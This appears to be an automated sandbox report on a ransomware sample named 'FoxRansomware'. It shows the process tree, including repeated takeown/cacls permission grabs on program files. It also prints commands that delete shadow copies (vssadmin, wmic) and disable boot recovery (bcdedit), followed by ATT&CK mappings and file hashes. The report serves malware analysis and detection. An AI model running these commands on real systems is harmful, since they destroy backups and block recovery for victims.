C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "add_reviewer.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "add_reviewer.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "forms_received.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "forms_received.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "reviews_super.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "reviews_super.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "submission_history.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "submission_history.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "Identity-H" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "Identity-H" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MinionPro-Regular.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MinionPro-Regular.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ZY______.PFB" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ZY______.PFB" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "brt32.clx" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "brt32.clx" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "usa.fca" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "usa.fca" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CROATIAN.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CROATIAN.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1251.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1251.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "qmgr0.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "qmgr0.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "RTC.der" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "RTC.der" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "end_review.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "end_review.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "reviews_joined.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "reviews_joined.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "server_ok.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "server_ok.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "warning.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "warning.gif" -nobanner4⤵
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {264BE37B-D881-42EF-B92D-99C535E440B9} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]1⤵
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\OfP7QNh1.bat"2⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD5b489f379df560877cca09ea782805b85
SHA1283d698d19db8bfa1df596f1eddd8531d3a20e2a
SHA256f1799a033930152890a4702d1c17486c8b3b9f3dff46e4e63abe4395e7b5bb94
SHA5129d1df6eb452d44a905c955f62f60309d50abeb164ff5c75d12f908694f5af55bec1bfc18fd75be8d06b3fc52f38be7bafc6083ff7ff0893689e0e12521bc1feb
-
Filesize
16B
MD517d432845dc7cb55ac69d75cf72f7f5d
SHA17f3b6e6ab91b3a13c0611fe6e95befab691d5cc3
SHA256a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4
SHA51225054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0
-
Filesize
226B
MD5c4b644f20704be18e73bcfbea10171f5
SHA19052bd82996f2708d5a80c103208bc518d1ee132
SHA256cc4d7730792e84f56a3079f90e911ec7c43915d96f9c13af92c59df2a5ef186c
SHA51222906747dba0cb179d1d8be5ef5333eeaa8f6eebe32f90ee5b4eb29e1ec5cefe7200cf1e67d0f735942e14b9cf9e469366866bf325b9140991e60772a80b5ffc
-
Filesize
807B
MD5eaf733b692e24ab60fa6be991bc4ed18
SHA1e372bb8545af6b22ff9737279c22b6667e186077
SHA256e0c103f34c5044b0e86597c4c6dc0550d2c07da913d2e19db27a5e8881597dad
SHA5128d9bf5e7fdabd2be69ac8282f95adf9a8c5a09c6d52fe84dfc2694a925d071828ed37f57fcb7193f9afb64aae3f3742de7c22d221bfd0b7b9a0427354ec5a840
-
Filesize
874B
MD5f5c7aa12621e9af6d659d32b91b0e996
SHA126e2e6faf411a5243d008996a69a8a6b1febaa87
SHA2566449e64771413c96ce1b65c1a94cc02d3e121863fa1163edcd387038dc4ef09e
SHA512d4c4d2a96be4278313b73ca858ac4c81a7c1f7e1c3ba8866e12d01fdc09aa82e571e1301232e77b1f1a54b993d2c1778f56f54f9c65c67ad7cb997d77c4dcd32
-
Filesize
1KB
MD589304a844a8715604483a3fe42dc6e01
SHA145742088364c3c92fce6eb143a8f389e612a3ad8
SHA25634a3830fd5ff69dd442600dbb163af5ff33fba760da8ddd1d62eb8b32ef5f96f
SHA512f8506632ae3a6124bafe587fe2da47d635fdac9a16783cd0128dcf6b67033c38ea90b980fb541a5d685680da028677615d12ee7ecb783c6a2456d029096bc04b
-
Filesize
1KB
MD5055d7dca6d8a74db6ea5f5073d981d10
SHA1b1b320e9a08e74a6aa33b61729de9043fbce51cd
SHA25655431b1e05c689c08ef4fe465e1366358acecb5bef090c0eaf8df2b824f3ac62
SHA5125dd7a8add1899a2daab0ffc0cefac35d1f8938eedff036fed2e8bcaa3f7f3342ea4eac8543c36937dabe54026e1741b3eb0bccb4f5bbe59dc014074cf77cba97
-
Filesize
2KB
MD5a48bf900d9b33cf80593ce4c604b719e
SHA1cbcc08407348e3753d2228150a046a03de6e463a
SHA256b3e4f0683bd7354fe6c440960105bb77d7d10e282fdffbcc3726e5fe6b8a8473
SHA51242e74e98a48a1856a53fba341a567ecf39b4a26af74410712680996b32ad3eaaeff8018184aa4e8a091e5b0ef1c87997e21bf2bad298b75fc6a07e7172d29c34
-
Filesize
3KB
MD5e4dc50ca2ccfa5ac652f992f63d7481d
SHA1ed63ee6b240d130ff6c9b3ed7eb4f59cd3669c7d
SHA25621df128a49b9f904fa9ffc4c7f862279758794ef0afeab48ba86c4698e46bd61
SHA512fa7c198a915d68fe718be8b88c757c1454f118384ab6fafedfa6717d3bd82e180d7981eccc350eb107f93fbf487f10dd4f83774144d5587ad3a81e6c846af9d0
-
Filesize
3KB
MD54cb149967f3a586912b82e0f2e035367
SHA1d1156b9c80e70550649c40cf68b2487c058cec5f
SHA25643cd4a5350d0eb783ba6d10c22bcf66d0e0247924fd6fe98afac899ceeebb0a5
SHA51286de12018e08b756cd89855a8c0a98db58c0a287d3bef64843ef74f751c86ac84f865867c6d0d5bd523870b4dc5dd2992174137796baf5c65e7a50643858e86c
-
Filesize
24KB
MD50bf32abbbe841d22bed59d971e8ce824
SHA1e96eda54374b80296c6a56bd67f557e9bcadd3a7
SHA25659d94f886ab1bd11f61b6477a9245f8c8cd355b1081fa7bb3b312895d64c7000
SHA51219d9fcadcd1a0ef8fb5e143cd6de25ac6975dc10f389d642e71b434e1f9dc763040428dd3a3132a9a2a7ee02f790eb24da13de7f0e2a6b05c7d95addb88503dc
-
Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
-
Filesize
265B
MD5eb40a55e6b5f6c9e5b3c66beea9f19ed
SHA1bde8c21003af48255525233098cd21de66ca0103
SHA25622560fd320259730d9f2f6198eb90eaa0872f014200525fd4cd269a2a6020a29
SHA51200e0fde9ad1b50e2e9d9619b7b0d7a604de631114ce159b299b93832b8b092c146c0dfdd4fa04161bf39f99944c7b7617bb0a5b82c698eebab5938bef1a89189
-
Filesize
260B
MD525a19c0854fbf74056205169a2626e19
SHA1977f9dc942b1751cfba571f5a3f9710c6ee56a88
SHA2564cf55fe823f77622cfa5c0456c5e283b4370f1733439daca0640ee079410c9eb
